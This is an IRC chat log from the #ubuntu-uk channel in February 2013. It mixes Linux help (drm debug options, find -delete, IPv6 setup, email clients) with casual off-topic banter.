<AlanBell> 71% *remaining* ?
<AlanBell> on, wifi connected and pinging?
<AlanBell> anyone know how I do a drm.debug=6 dmesg
<ali1234> what of it? it hasn't even been rnning a day?
<popey> yes
<ali1234> mine will happily go 4 days in android if i don't touch it
<popey> thats nice
<AlanBell> can't say I have ever tried running down the nexus 7, it spends quite a lot of time in the kitchen on power
<ali1234> the battery lasts much longer than a typical pone
<AlanBell> but that sounds rather encouraging
<ali1234> well, android phone
<popey> well, it has no 3g for a start
<ali1234> yes 3g is a massive drain
<AlanBell> ah, drm.debug=6 is a boot option
<ali1234> more than wifi
<ali1234> AlanBell: actually that's a module option, drm.debug means "pass debug=6 to drm module"
<awilkins> Indeed, I just force my phone into 2G a lot of the time so it won't waste battery thrashing about finding a 3g tower over the Pennines
<ali1234> on kernel command line
<ali1234> you may be able to reload drm module with the option, or maybe set it through /sys/modules/
<directhex> you can pass kernel options via an /etc/modprobe.d entry, as long as that module isn't built into the kernel
<ali1234> yes, or you can just pass options on modprobe command line if you load modules manually
<directhex> CONFIG_DRM=m
<directhex> looks like it's not built in!
<ali1234> it might be in the initrd though, and i don't think that gets automatically rebuilt if you edit modules.conf or modules.d
<ali1234> or modprobe or whatever it's called now
<ali1234> i had that trouble with usbhid
<AlanBell> this is a bug with performance anxiety
<BigRedS> if mysqldump spits out an error message but the dumpends with 'Dump completed on' is it likely it just skipped the error and carried on?
<BigRedS> ah, I'm looking on the wrong dump. It's aborted :/
<popey> bug 1130786
<lubotu3> bug 1130786 in rhythmbox (Ubuntu) "Rhythmbox unnecessarily announces "Not Playing" when I close it." [Wishlist,New] https://launchpad.net/bugs/1130786
<popey> annoys me does that
<MartijnVdS> Not playing.
<czajkowski> popey: never noticed that before
<czajkowski> :)
<MartijnVdS> czajkowski: you never close rhythmbox? :)
<czajkowski> I do
<czajkowski> always
<czajkowski> usually in fits of rage
<czajkowski> it started to play christmas songs at me the last day
<czajkowski> most upsetting you know :)
<MartijnVdS> czajkowski: I just skipped one :)
<bigcalm> Hehe
<bigcalm> How does one tie xchat into the unity osd so that I'm notified when I'm mentioned etc
<bigcalm> ?
<bigcalm> Show tray baloons on: ?
<bigcalm> Somebody say my name?
<czajkowski> bigcalm:
<bigcalm> Ta
<bigcalm> Way over on the right hand side of the far right screen. Better than nothing :)
<bigcalm> My fault for having a silly set-up
<Azelphur> Interesting question, I want to share files with my neighbour, we have an ethernet cable between the two places, how do I do it in a way where we both keep our own internet connections and don't have DHCP wars?
<BigRedS> carefully
<BigRedS> do you both have additional ethernet sockets on your PCs?
<BigRedS> that would be easiest - create a network of those two sockets with the crossover cable between them.
<BigRedS> otherwise you need a router at at least one end of the cable, and to make sure your two dhcp servers have pools on different subnets
<BigRedS> I've always been able to do the former, so I don't know how to do the latter
<Azelphur> it doesn't have multiple nics, although I could do that
<Azelphur> If it's just a case of different subnets that could be easy
<jacobw> Azelphur: vlans + routing
<jacobw> Azelphur: depends how many ways you have to split the ethernet domain up :|
<Azelphur> hehe
<Azelphur> seems complicated and like the best way may be to just connect my file server to his router as a normal client
<Azelphur> (and my router)
<zleap> what is the executable file for startup applications
<MartijnVdS> zleap: what do you mean? What do you want to do?
<zleap> stop skype from loading up when i log in
<zleap> i have  ubunru 12.04 with lubntu desktop
<MartijnVdS> zleap: ~/.local/share/applications ?
<MartijnVdS> lubuntu?
<MartijnVdS> it's still probably in ~/.local/share somewhere
<popey> maybe ask in #lubuntu
<Flexa> hey guys, I have a dir with lots of sub dirs that I need to go through and rm -rf *.json.gz, any ideas? cant seem to figure it out...
<MartijnVdS> Flexa: find /path/here -name \*.json.gz
<zleap> popey, i have but as i have bits of lubuntu installed giving i installed lubuntu-desktop there is a solution somewhere
<Flexa> thx MartijnVdS, will give it a go :)
<popey> http://www.cyberciti.biz/faq/linux-unix-how-to-find-and-remove-files/
<MartijnVdS> Flexa: find /path/here -name \*.json.gz -delete if you want to delete instead of print their names :)
<MartijnVdS> Flexa: also, "man find" if you're feeling adventurous
<Flexa> great thx MartijnVdS :)
<Flexa> great help
<Flexa> thought there would be a way without having to use find :P
<MartijnVdS> Flexa: there's find2perl.. you'll get a Perl script instead 8-)
<Flexa> heh oki
<Flexa> funny thing is I could do it in ruby
<Flexa> but just not a one liner :(
<Flexa> fail
<Flexa> lol
<RZAFC1> the webpages in firefox have some images that are blueish when I browse. i just install ubuntu 12.04 on my system any idea what's wrong?
<MartijnVdS> RZAFC1: do you have an Nvidia graphics card?
<RZAFC1> it's on ppc
<RZAFC1> g4
<MartijnVdS> like an old mac or something?
<RZAFC1> everything is default
<RZAFC1> ya
<MartijnVdS> last time I used ppc was on a G3 imac.. long long ago
<RZAFC1> is there a repo I can get that will fix it
<MartijnVdS> RZAFC1: does it have ati video?
<AlanBell> http://paste.ubuntu.com/1691787/ is supposed to be dmesg output with drm.debug=6 set, but I don't see much drm stuff in that
<RZAFC1> let me check
<AlanBell> I edited the boot parameters at the grub screen and added drm.debug=6 as a new line on the end, dunno if it picked it up or not
<MartijnVdS> AlanBell: isn't drm a module? so you'd need to add it to /etc/modprobe.d/my-config-file.conf ?
<MartijnVdS> + regenerate initramfs
<RZAFC1> video works, it's slow but no sound
<MartijnVdS> RZAFC1: can you put the output of "dmesg" and the contents of /var/log/Xorg.0.log on pastebin?
<AlanBell> libkmod: ERROR ../libkmod/libkmod-config.c:686 kmod_config_parse: /etc/modprobe.d/drm.conf line 1: ignoring bad line starting with 'drm.debug=6'
<MartijnVdS> AlanBell: yeah it should be:
<MartijnVdS> options drm debug=6
<AlanBell> libkmod: ERROR ../libkmod/libkmod-config.c:686 kmod_config_parse: /etc/modprobe.d/drm.conf line 1: ignoring bad line starting with 'options'
<MartijnVdS> whu?
<MartijnVdS> lots of files with "options" in that dir
 * MartijnVdS looks confuse
<MartijnVdS> d
<AlanBell> ah, sorry, I missed the space
<AlanBell> working now
<AlanBell> lets reboot and see what happens . . .  o/
<MartijnVdS> AlanBell: there's also /sys/module/drm/parameters
<MartijnVdS> AlanBell: you could echo "6" > /sys/module/drm/parameters/debug and see if that works
<RZAFC1> MartijnVdS: I'm not using irc on that computer
<MartijnVdS> RZAFC1: you can copy the files over.. or the pastebin links (they should be short enough to re-type)
<RZAFC1> MartijnVdS: you think I should just reinstall ubuntu?
<MartijnVdS> RZAFC1: that's a bit overkill I think
<AlanBell> MartijnVdS: cool, got it working now
<AlanBell> http://paste.ubuntu.com/1691907/ loadsa debug stuff
<MartijnVdS> debugses!
<RZAFC1> MartijnVdS:paste.ubuntu.com/161949
<RZAFC1> MartijnVdS: http://paste.ubuntu.com/161949
<MartijnVdS> that's not dmesg _or_ xorg.log
<RZAFC1> MartijnVdS: paste.ubuntu.com/1691949/
<RZAFC1> MartijnVdS: http://paste.ubuntu.com/1691949/
<RZAFC1> there it is sorry missed a number
<MartijnVdS> RZAFC1: Thanks that's dmesg :)
<MartijnVdS> nothing strange in there I think
<RZAFC1> so what do you think is the problem?
<MartijnVdS> RZAFC1: if you could put /var/log/Xorg.0.log on there as well I might know more
<RZAFC1> it said permission denied
<MartijnVdS> hmm
<MartijnVdS> I really don't know enough about ati-on-ppc, sorry
<RZAFC1> ok
<RZAFC1> thanx anyway
<AlanBell> r
<MartijnVdS> AlanBell: Rrrr!
<AlanBell> things have gone a bit funny
<AlanBell> window manager borked
<MartijnVdS> funny ha-ha or funny blegh?
<AlanBell> blegh
<MartijnVdS> AlanBell: (http://www.youtube.com/watch?v=IZGhhXo-Bv0)
<AlanBell> when I next have a window manager I will look at that
<AlanBell> yay, fixed
<MartijnVdS> *\o/* */o\*
<AlanBell> https://plus.google.com/109175303602657131317/posts/Qfqath4iR1C that is what my screen looked like earlier, typing was off screen, couldn't move any windows
<ali1234> woah
<ali1234> that looks like hardware error
<ali1234> or serious driver bug
<ali1234> is that why you were debugging drm?
<AlanBell> well, not exactly, it got that way after flipping between mirrored and dual screens
<ali1234> only problem i ever have with nvidia is when it doesn;t work at all due to abi changes
<AlanBell> when I boot up from cold it starts dual screens then flips to mirrored after about a minute, which is very annoying
<ali1234> it ither works or it doesn't
<AlanBell> does it in unity and gnome shell
<AlanBell> once I put it back off mirrored and on to dual screens it then works fine, just does it once from a cold boot
<ali1234> argh bitcoin is scraping $30
<ali1234> if it goes over in february i win 0.1 btc
<Azelphur> ali1234: xD
<directhex> wish i had a gpu that could generate actual coinage
<directhex> but with the difficulty where it is these days
<Azelphur> ali1234: I've been holding ~60 BTC since Â£12
<ali1234> mining alt chains is currently profitable on GPU
<ali1234> but only just, and you have to mess around building modded miners and clients
<shauno> scp between two remote machines, eg, scp a:file b:file .. does the transfer fgo a->b? or a->me->b
<popey> run iftop on the middle one and see?
 * popey tries it
<popey> oooh
<popey> interesting
<popey> i get a key error
<popey> implying a is trying to scp to b
<popey> because me has the key for a and b
<shauno> that sounds logical.  and matches me getting no route to b
<shauno> er, matches my error, rather (me has a route to b  heh)
<shauno> trying to move a large chunk of data from a to b.  a is ipv4-only, b is ipv6-only.  me can interact with them both fine, but doesn't have the disk space to do it in steps
<popey> netcat?
<Azelphur> don't suppose anyone knows how to do tabs in glade? I cannot find it anywhere, driving me nuts.
<Azelphur> and as I ask, I find it, as is the usual :P
<shauno> this would be much easier if I could figure out why the hetzner box has no ipv6 routes
 * AlanBell has boxen in hetzner
<shauno> it all looks good, just get destination unreachable for everything
<shauno> so far I have http://paste.ubuntu.com/1692967/  which matches what they provide, right up until ip neighbour starts shedding bad news
<AlanBell> alanbell@libertushost2:~$ ip -6 neighbor
<AlanBell> fe80::1 dev eth0 lladdr 00:26:88:75:c3:9e router REACHABLE
<shauno> yeah, reachable is what I want to see.  probe/delay I assume are "uh, hello?".  and failed is sadface.
<dwatkins> shauno: how about using port redirection so the two hosts can copy between each other via the 'middle' one?
<AlanBell> alanbell@libertushost2:~$ ping6 -c 3 -I eth0 fe80::5246:5dff:fe51:8790
<AlanBell> PING fe80::5246:5dff:fe51:8790(fe80::5246:5dff:fe51:8790) from fe80::6e62:6dff:feb2:a8f4 eth0: 56 data bytes
<AlanBell> From fe80::6e62:6dff:feb2:a8f4 icmp_seq=1 Destination unreachable: Address unreachable
<AlanBell> I can't ping you
<AlanBell> I think
<shauno> I'm not sure that should work, fe80 is link-local
<AlanBell> oh, so is 2a01:4f8:191:321::2 your address?
<shauno> yeah.  that should answer
<shauno> I don't expect it to, but it should
<AlanBell> hmm, looks like I only have fe80 addresses
<AlanBell> oh I need to request them from the robot
<shauno> this was only provisioned 2 weeks ago, so it was all "there" out of the box
 * AlanBell orders an ipv6 subnet
<shauno> but oyu have a gateway, which is a good start.  just no address.  I have the opposite :)
 * AlanBell now has an ipv6 subnet
 * brobostigon has an ipv6 subnet already.
<AlanBell> Useable IP addresses: 2a01:4f8:140:53c4::2 to 2a01:4f8:140:53c4:ffff:ffff:ffff:ffff
<AlanBell> should keep me happy for a bit
<brobostigon> :D
<brobostigon> give every particle in my house an IP addr. :D
<shauno> well, I've put a ticket in.  I just like to talk it through first, because most the time I'll find any forehead-slapping mistakes that way
<AlanBell> not sure of the benefit of having an ipv6 server address yet
<brobostigon> all mine are dual.
<AlanBell> I think all IPv4 should be taken away from dynamic ISPs and given to servers
<AlanBell> and people who want a static address
<brobostigon> and ipv6 given to new. maybe yes.
<shauno> then the servers should have ipv6 so they can answer the dynamic ISPs?
<AlanBell> if you are on ipv6 can't you connect to ipv4?
<shauno> without shims like nat64, no
<AlanBell> oh :(
<brobostigon> most are dual-stack, so i doubt it,
<AlanBell> so servers really need to get ipv6 addresses and AAAA records in DNS
<shauno> I mean, if you're only on ipv6, which is what taking the ipv4 away from isps would do
<brobostigon> definatly alan
<shauno> imho I think servers should be dual-stacked for backwards compatibility.  so you can still get mail from archiac networks, etc
<brobostigon> aswell as software side, not just dns.
<shauno> but if the clients are going to be ipv6, the server should be too.  else we waste all the effort of coming up with a New Idea by mangling it with ductape (toredo, nat64, etc)
<AlanBell> interesting
<brobostigon> as i said, shauno . software side aswell, should be capable of dealing with it.
<AlanBell> I will endeavour to figure it out at some stage
<brobostigon> this is why, i am playing with my vpn, being ipv4 and ipv6, and seeing hows the possibilities lay.
<brobostigon> or giving botth types of IP.
<shauno> I haven't tried it with the vpn yet.  but I have almost everything dualstacked other than that
<jpds> openvpn has ipv6 support in the latest release(s).
<brobostigon> shauno: it was curiousity more than anything, so on the movem i could use ipv6, when i not at home, with my ipv6 router.
<shauno> my lightbulbs have v4 but not v6, which ruins a perfectly good joke
<brobostigon> definatly shauno , lol.
<AlanBell> http://community.plus.net/forum/index.php/topic,106125.0.html plusnet stopped their IPV6 experiments :(
<brobostigon> :(
<shauno> AA seem to be the only one consistently on the ball there
<shauno> here, UPC have assured me they've at least heard of it.  and nothing more
<jpds> AlanBell: Now, imagine the work every ISP has to do for v6.
<brobostigon> native ipv6, aswell as, a given internal subnet, should be, what is standard now.
<shauno> it already pretty much is.  everything I have (desktop, laptop, phones, tablets, appletv) already had ipv6, autoconfigured and quite happy.  the only missing link was to add a tunnel to my router so it could escape to the rest of the net
<brobostigon> so ican atleast setup radvd, for a subnet more, than just an endpoint of a sixxs tunnel.
<AlanBell> jpds: yeah, I did think that it was basically a replacement for NAT, and wouldn't affect servers much, but now I realise that you can't connect from ipv6 to ipv4 because the ipv4 wouldn't be able to return address it
 * AlanBell boots into Unity for a bit
<AlanBell> ooh, top bar shadow goes away when you zoom now
<popey> i just had some madness happen
 * popey saves it for a bug report
<AlanBell> Bug #1124008 gets a bit meta
<lubotu3> bug 1124008 in whoopsie (Ubuntu) "whoopsie crashed with SIGSEGV in g_closure_invoke()" [Undecided,Fix released] https://launchpad.net/bugs/1124008
<AlanBell> oh, ccsm has no icons :(
<popey> it does here
<AlanBell> http://people.ubuntu.com/~alanbell/screenshots/Screenshot%20from%202013-02-20%2021:51:34.png
<AlanBell> Unity is the one in the Desktop section without a checkbox in the 4th column of the middle row
 * AlanBell tries the virtual machine test
<AlanBell> nope, alt and super still get grabbed by the host :(
<AlanBell> alt-tab works fairly predictably
<AlanBell> huh, closing the dash is now two keystrokes
<AlanBell> guess that makes sense for someone not testing it
<AlanBell> so there is an SSH connections lens - that is kinda cool. but I don't know how it gets the list of connections, and it is wrong, and it trys to connect with my local user name not the remote name
<AlanBell> and I have no idea how to find documentation about it
<AlanBell> http://bazaar.launchpad.net/~bernd-sch/onehundredscopes/sshsearch/view/head:/README would appear to be the documentation
<Myrtti> vlc really doesn't like upnp or nautilus/samba
<Myrtti> why can't I ever have nice things
<Bodsda> AlanBell: ping
 * redtape-renegade counts the amount of "message in a bottle/s" there are, on his desert island !!         ;)
 * Bodsda wonders how many there were
<redtape-renegade> Bodsda: the next island along is Ibiza .. who have a lot of bottles .. so I'm still counting .. damn archipelago      :D redtape-renegade  requires â«
<Bodsda> redtape-renegade: there was an interesting show on the other night about Ibiza and a flesh eating parasite catchable by brushing against indigenous plant life... go careful of the bush
 * redtape-renegade heed's Bodsda's call.
#ubuntu-uk 2013-02-21
<redtape-renegade> First post !!
<amayer> can i uninstall gwibler and empathy without breaking any system features in ubuntu 12.10?
<cr0w13y> You can in 12.04, that's for sure.
<amayer> i just installed 12.10 and i never use empathy or gwibler so i was wondering if i could remove them
<cr0w13y> Should be ok.
<redtape-renegade> amayer: You know *how* , right ?
<amayer> sudo apt-get remove empathy ?
<redtape-renegade> use the software center...
<amayer> or in the software center
<redtape-renegade> right.
<AlanBell> morning all
<jacobw> morning AlanBell
<BigRedS> Gooood Morning!
<jacobw> my VPS has been up for 686d17h
<jpds> jacobw: Kernel exploit incoming.
<jacobw> :)
<AlanBell> ksplice would have fixed that if oracle hadn't burried it
<AlanBell> oh, looks like it has been kind of resurected a bit
<AlanBell> the website was broken for a while http://www.ksplice.com/uptrack/download-ubuntu and I kind of assume anything going into Oracle has gone forever these days
<BigRedS> ksplice will still fix it, and Oracle will probably give you a discount if you purchase within a week of the fix
<JamesTait> Good morning, people! :-D
<czajkowski> any recommedations for a graphics and image editor that is not GIMP
<mungbean> pinta?
<jpds> czajkowski: tuxpaint?
<czajkowski> ah not heard of that
<AlanBell> tuxpaint
<mungbean> paint.net
<czajkowski> has to be OSS
<AlanBell> paint.net is freeer than it sounds
<neuro> bah
 * neuro temporarily has no car
<czajkowski> AlanBell: ack
<neuro> it's off getting repairs to repairs
<czajkowski> cheers
<neuro> popey: how did the tablet endurance test go?
<czajkowski> mate sent me an email - I need OSS solutions/ideas to the followin:
<czajkowski> Mail
<czajkowski> firewall
<czajkowski> and antivirus
<AlanBell> actually maybe it isn't free as in freedom
<jpds> czajkowski: Sell him UA.
<mungbean> pinta is a good un, and usable like paintshoppro
<jpds> czajkowski: Mail server or client? ufw, then there's clamav.
<mungbean> also krita
<czajkowski> jpds: hmmm I figured client
<czajkowski> he didnt ask
<neuro> gmail
<AlanBell> thunderbird
<neuro> shouldn't need a firewall if you don't open up any services unnecessarily
<neuro> thunderbird is dead
 * AlanBell uses thunderbird
<czajkowski> it's not
<czajkowski> its lovely
<neuro> and unpleasant to use these days, imho
<czajkowski> and works!
<mungbean> czajkowski: zimbra
<neuro> very klunky, slow
<czajkowski> mungbean: what's that?
<neuro> zimbra isn't a client, it's a server
<mungbean> woops didnt see that bit
<mungbean> thought they wanted mai lserver
<neuro> it's basically free exchange
<jpds> neuro: Can act as an IMAP client...
<neuro> jpds: not exactly MUA material though
<mungbean> thunderbird isnt dead
<neuro> is mozilla still developing it?
<ali1234> it's pining for the fjords?
<neuro> :)
<mungbean> neuro: yes, apparently no new features though
<neuro> well, it's dead then, isn't it
<mungbean> geary is a nice new email client
<neuro> or at the very least motionless
<mungbean> neuro: no, its feature complete
<ali1234> i gave my mum thunderbird
<neuro> yeah, heard nice things about geary
<neuro> ali1234: YOU DID WHAT?!
<neuro> oh, i see
<ali1234> compared to outlook express it looks like the most amazing program ever
<mungbean> geary is missing search atm but is nice
<neuro> yeah, my folks both use thunderbird too
<ali1234> and she only sends about 1 email a week so she doesn't hit the problems it has
<mungbean> i use it 24x7 at work
<BigRedS> thunderbird's an awesome way to make it feel like you've got less ram than you actually do
<mungbean> (tb)
<neuro> no way was i letting them use microsoft mail
<mungbean> disable offline caching
<neuro> BigRedS: :)) my point exactly
<mungbean> and thunderbird is fine
<ali1234> i couldn't figure out how to configure microsoft mail
<neuro> mungbean: defeats the point of imap then
<neuro> might as well just use gmail
<ali1234> otherwise i would have done
<BigRedS> neuro: the point of imap isn't offline caching
<neuro> ali1234: hehe
<mungbean> neuro: depends if you're talking always connected desktop or not
<BigRedS> the point of imap is to read mail on the server, rather than pop-style downloading-and-reading
<ali1234> you get what you pay for
<neuro> BigRedS: thank you for teaching me to suck eggs ;)
<BigRedS> haha
<neuro> my point was ...
<mungbean> i have a stick ,,. keys today, now i realise why this beyboard was going spare
<BigRedS> Sorry, poor imap implementations are a bugbear of mine. I love how nothing implements imap properly
<neuro> why bother using something like imap if you're not going to take advantage of offline caching
<ali1234> with no local cache you might as well use gmail web interface because it's better than thundebird
<neuro> but ...
<neuro> the problem with offline caching is the ram/disk footprint
<BigRedS> my mum's imap client is roundcube
<neuro> ali1234: that was pretty much my point
<mungbean> neuro: you can search in thunderbird within folders without doing the download for indexing
<mungbean> its the indexing that sahgs your pc
<ali1234> in fact you might as well do that anyway because offline cache is pointless
<neuro> yeah, i know
<ali1234> you can't send or receive emails = email is pointless anyway
<neuro> but what i'm trying to say here, probably unsuccessfully, is why use a local client if not to cache
<mungbean> i don't get your point
<neuro> ali beat me to it :)
<ali1234> and don't give me that "i need to check something in my email" because how are you going to action it without internet?
<neuro> actually ali didn't beat me to it, misread
<diplo> Any web devs got any ideas, usig lazyload in a admin page of mine, works fine in a standard html/php page, include it in my admin page the only time the images appear is not after scrolling but if i resize/redraw the page
<mungbean> i use a local client cos i have loads of mail that i want to order easily by sender, filter for words in the body  ,etc
<mungbean> do things easily that webclients don' do
<ali1234> gmail does that MUCH better than thunderbird does
<mungbean> and not all email lives on gmail
<ali1234> and much faster too
<ali1234> all mine does
<mungbean> this is my work email
<ali1234> i set up redirects and aliases
<BigRedS> ali1234: the big thing I miss with mutt/msmtp is that it's harder to deal with mail on the train
<ali1234> the trains i go on have wifi
<BigRedS> because I can't just pretend it's sent and assume it'll work next time I'm connected. I have to postpone the mail and then send it all when I get online
 * AlanBell liked Lotus Notes, but it didn't really handle multiple email accounts well
<BigRedS> yeah, our DC is basically on a farm
<ali1234> that reminds me i need to book a ticket
<neuro> AlanBell: WAT?!
<neuro> lotus notes, the scourge of the galaxy
 * AlanBell was a notes developer for 10 years or so
<neuro> you have my sympathies, sir
<AlanBell> nosql before it was cool
<neuro> hehe
<ali1234> i was still in school when notes was popular
<neuro> bloomin' whippersnappers
<BigRedS> Yeah, we had an IT lesson where someone brought in a laptop with Lotus on it and gave us a demo 'cause it was likely we'd be woring with this when we left school
<neuro> gah, "IT" based around specific apps rather than the science itself
<BigRedS> yeah, this was at school. it's all like that
<SuperMatt> http://devref.com/ <- best thing ever
<AlanBell> it was a nosql engine with rock solid replication, a public key infrastructure, and a built in IDE
<neuro> when i were a lad, computing studies wor all about programmin and that
<ali1234> that, and novell netware
<AlanBell> and they decided to build a crappy email client with it
<AlanBell> which I liked - for a single account
<neuro> novell netware was awesome in its day
<BigRedS> ali1234: my first IT job involved decomming some Netware
 * neuro was a 3.x->4.x veteran
<neuro> i remember a lost weekend doing a 3.x to 4.x migration
<AlanBell> probably still the most efficient development platform I have ever used
<BigRedS> well, I replaced the only guy who knew netware when he left. 'decomming' was basically turning off a few servers and hoping that when people shouted we could replicate whatever they wanted on Windows Server
<ali1234> neuro: IT isn't computer science
<neuro> but on the fun side, i got to race my colleague down the corridor using dell poweredge disk chassis as go carts
<ali1234> novell netware is actually freeware for single license
<neuro> has been for years
<BigRedS> "is"?
<BigRedS> blimey
<ali1234> you can download it and play with it as long as you only connect one machine to it
<ali1234> it's not bad if you need to network dos machines
<neuro> wut
 * neuro had dos 6.22, wfwg 3.11, nt 4.0, win95, win98, win2000 and mac os 9 clients hanging off nw411
<neuro> and debian
<ali1234> yeah dos and 16 bit windows
<neuro> that was a eureka day
<ali1234> anything newer and there is no point to using netware
<neuro> "I CAN CONNECT TO NW411 FROM DEBIAN LOLZ!" "err, ok?"
<neuro> ali1234: errm, because?
<mungbean> we still have netware
<ali1234> because they have tcp/ip stacks built it
<neuro> what are you talking about?
<mungbean> my employer has a server room full of netware servers in active service
<neuro> hmmm
<mungbean> getting decommed this year hopefully for a netapp
<mungbean> the last netware guy is getting nervous
<neuro> netapp, lovely
<mungbean> cos he hasn't updated his skills set for 15 years
<neuro> just punt him on a netapp training course
<neuro> jings, if I can admin a netapp, anyone can
<mungbean> i don't think he's employable anymore
<mungbean> some old relic
<mungbean> :)
<brobostigon> morning everyone.
<mungbean> hello
<brobostigon> hello mungbean
<ali1234> what is a colophon widget?
<mungbean> sounds painful
<dwatkins> it's just one big widget, apparently
<mungbean> bulk ordering of condoms ftw..150 for Â£15
<dwatkins> http://www.squidoo.com/wordpress-colophon
<dwatkins> "A colophon is a fancy word for a list of acknowledgements in a book or, increasingly, on a Web site."
<bigcalm> mungbean: bit off topic that
<mungbean> sorry, just received a delivery from the postie.
<mungbean> thoiught it was a early brithday pressie
<dwatkins> mungbean is a cheap date ;)
<mungbean> i'm married so i can plan ahead
<mungbean> expiry date 2017
<redtape-renegade> Morning everyone .. Back to Uni for me ..::: http://batteryuniversity.com/learn/article/how_to_charge_when_to_charge_table
<popey> \o/ no more condoms
<mungbean> had the walnut whip?
<popey> ya
<mungbean> lol
<redtape-renegade> popey: Saw your tablet post on G+ :: Well done .. I think there are a lot of responses/comments .. Canonical must be in it's boon-period atmo.
<popey> depends who you ask
<redtape-renegade> I ask ebay ..
<mungbean> i love the ubuntu on tablet idea
<mungbean> seems to be the ideal form factor for that type of UI
<mungbean> android on my tablet is a bit restrictive
<mungbean> i always want to do more with it
<redtape-renegade> me too .. but I have a nook color :)
<mungbean> saw someone selling a sony prs-300 for Â£20 the other day
<redtape-renegade> ooh elensie's .. time for news and cream things :D
<mungbean> working from bed today
<redtape-renegade> **elevensie's
<redtape-renegade> mungbean: You mentioned ebay .. my postman just dropped off a used digital camera I got for about the same price .. :)
 * redtape-renegade feels bad for all the cold postman today .. 
<mungbean> i got my package from NHS freedom site :P
<redtape-renegade> **postmen
<redtape-renegade> mungbean: is that a smoking pack ?
<mungbean> wouldn't trust contraceptives from ebay !
<redtape-renegade> ooohh I've sold aew ..
<redtape-renegade> **afew..
<mungbean> has nayone seen those ecigs in IRL?
<redtape-renegade> Two things that should be banned on selling on ebay : razors (blades) and hard-drives !!
<popey> yes
<popey> i have one here
<redtape-renegade> popey: Your in Ireland ??
<dwatkins> I can't imagine I'd ever buy a hard drive on ebay.
<popey> https://www.smokerelief.co.uk/
<mungbean> for fun? or you smoke a bit?
<popey> to evaluate it âº
<redtape-renegade> Aaahh
<mungbean> to install linux on it
<redtape-renegade> how scientific you are :)
<mungbean> yes, i'm intrigued, althouh i never touched a cig in my life
<popey> ditto
<dwatkins> I gave up, took me 10 years.
<redtape-renegade> well done .. I'm on 20 rollie's a-day.
<dwatkins> I used to smoke them, redtape-renegade - was cheaper
<mungbean> redtape-renegade: ever tried the eciggy?
<redtape-renegade> dwatkins: yeah, there's a niceity to how cheap rollies actually are
<popey> i have a couple of friends who switched from cigs to robofags
<dwatkins> I was discussing 'quitting' recently on #ubuntu-offtopic, it's not really quitting if you just switch to robofags, although it's probably marginally better
<mungbean> popey: dubious method of advertising on that site
<mungbean> scantily clad woman
 * popey shrugs
<popey> appealing to their target audience I imagine
<mungbean> all that smoke on the page makes me feel short of breath
<redtape-renegade> mungbean: No, but there is a cafe called .. err coffee and vags or something on the high street .. I here all trhe cafe are changing to allow for e.cig customers v.soon .. Hookers ahoy !!
<redtape-renegade> ***hear
<mungbean> not sure why there is a usb stick in the efag packet
<redtape-renegade> you get a USB ?
<redtape-renegade> what capacity ?
<mungbean> dunno, just looking at pics
<redtape-renegade> oh poo ...
 * redtape-renegade was thinking more along the lines of Impossible Mission .. the tobacco version :D
<popey> mungbean: its a charger
<redtape-renegade> I see ..
<popey> the white bit is a battery which charges via a usb adapter
<popey> the brown bit contains the magic smoke
<redtape-renegade> had to be brown, had to be brown, , had to be brown,
<popey> you screw them together and smoke, when the brown bit is empty you bin it, when the white bit is dead you recharge it
<mungbean> i got sent a pen in the post.
<mungbean> after a few weeks, my colleague was fiddling with it and found a usb stick
<mungbean> had centos on it
<redtape-renegade> I've got loads of pens .. last week ..
<mungbean> some cool talks at http://www.eventbrite.com/event/5478408066
<mungbean> tonight
<redtape-renegade> https://dl.dropbox.com/u/55128914/Lubuntu%20docs/Merchandise%20Mania%20%28Kubuntu%20Pens%29%20takes%20Royal%20Mail%204%20days%20to%20arrive%20usually%20by%20.png
<davmor2> Morning all you funky people
<redtape-renegade> dwatkins: What tobacco did you smoke then (for rolies) .. what was it called ?
<dutchie> o/
<neuro> ha haaaaaa
<neuro> my epic 3 week star trek enterprise marathon is complete
<mungbean> ewww
<mungbean> shudders at the thought
<neuro> it gets a bad rep, but it's better than some guff on telly just now
<neuro> just a shame the series finale is a bit poo
<neuro> not sure whether to go TOS or TNG now
<neuro> cos season 1 of tng is awful
<neuro> i wonder at what point these ubuntu touch images are appearing
 * redtape-renegade chucked away his Tele 12 months ago .. never looked back !!
<neuro> you never watch any movies or tv shows at home? ever?
<mungbean> i wouldn't bother with a telly if i wans't marrried
<Azelphur> Just uploaded this https://github.com/Azelphur/pyPushBullet which will probably be useful to a bunch of people in here, command line push notifications to your android phone :P
<neuro> mungbean: how so?
<neuro> Azelphur: nice
<Azelphur> :)
<Azelphur> it's also a python library.
 * popey chuckles at xda-developers finding an image of ubuntu phone touch preview
<neuro> i generally don't like android, but there are some bits that as an ios user, i'm a bit jealous of :)
<Myrtti> I think the latest upgrade might have broken my suspend...
<Azelphur> popey: didn't they already show video of that anyway?
<Azelphur> neuro: being able to set your ringtone? hahahaha.
 * Azelphur runs
<popey> http://www.youtube.com/watch?v=yDsADuxb43Q that one?
<neuro> popey: is there an official time for release (i'm not asking to tell us, if in fact you know it, just asking is there actually an official time) :)
<Myrtti> or not.
<neuro> Azelphur: i can change my ringtone to whatever i want!
<popey> we don't give times
<neuro> popey: pfff
<popey> but the PR people told everyone ~4pm
<neuro> dates but no times always winds me up
<Azelphur> hehe
<popey> meh
<neuro> Azelphur: i can set custom ringtones on a per contact basis as well, it's just sms tones that aren't configurable beyond those that ship with the device
<neuro> popey: not hassling you, just making a general comment :)
<mungbean> neuro: tv is generally take or leave it. its ok if i watch it, but don't miss it when i don't
<Azelphur> hehe
<popey> i know
<mungbean> but my wife likes it
<neuro> she likes the cut of its jib, does she?
<neuro> i don't really watch live tv these days (my horror at seeing This Morning yesterday should have been relatively transparent), but I enjoy segments of broadcast TV's output
<neuro> along with other sources of content (movies, le youtube, etc)
<neuro> broadcast tv is just another input source
<neuro> i never understand the grimacing against it
<ali1234> BBC 1, 2 and 4 are ok
<ali1234> and the odd thing on channel 4
<neuro> bbc three is getting better
<neuro> at least it's better than it was
<ali1234> no it isn't
<ali1234> BBC3 was good for about a year after it was launched and has been rubbish ever since
<ali1234> it wasn't called BBC3 then though
<popey> BBC Choice
<neuro> BBC Knowledge!
<redtape-renegade> neuro: I download them to my computer and watch on a 24 inch monitor .. :)
<neuro> so you're still watching TV then :)
<neuro> popey: remember BBC Select?
<mungbean> until iplayer requires a tv licence to use then number of tv owners will drop
<redtape-renegade> No, I'm watching internet ..Tele is dead t o me !!
<neuro> mungbean: iplayer *does* require a tv licence, if you're watching the live streams
<neuro> redtape: if you're watching programmes from broadcast TV networks, you're watching TV, I'm afraid
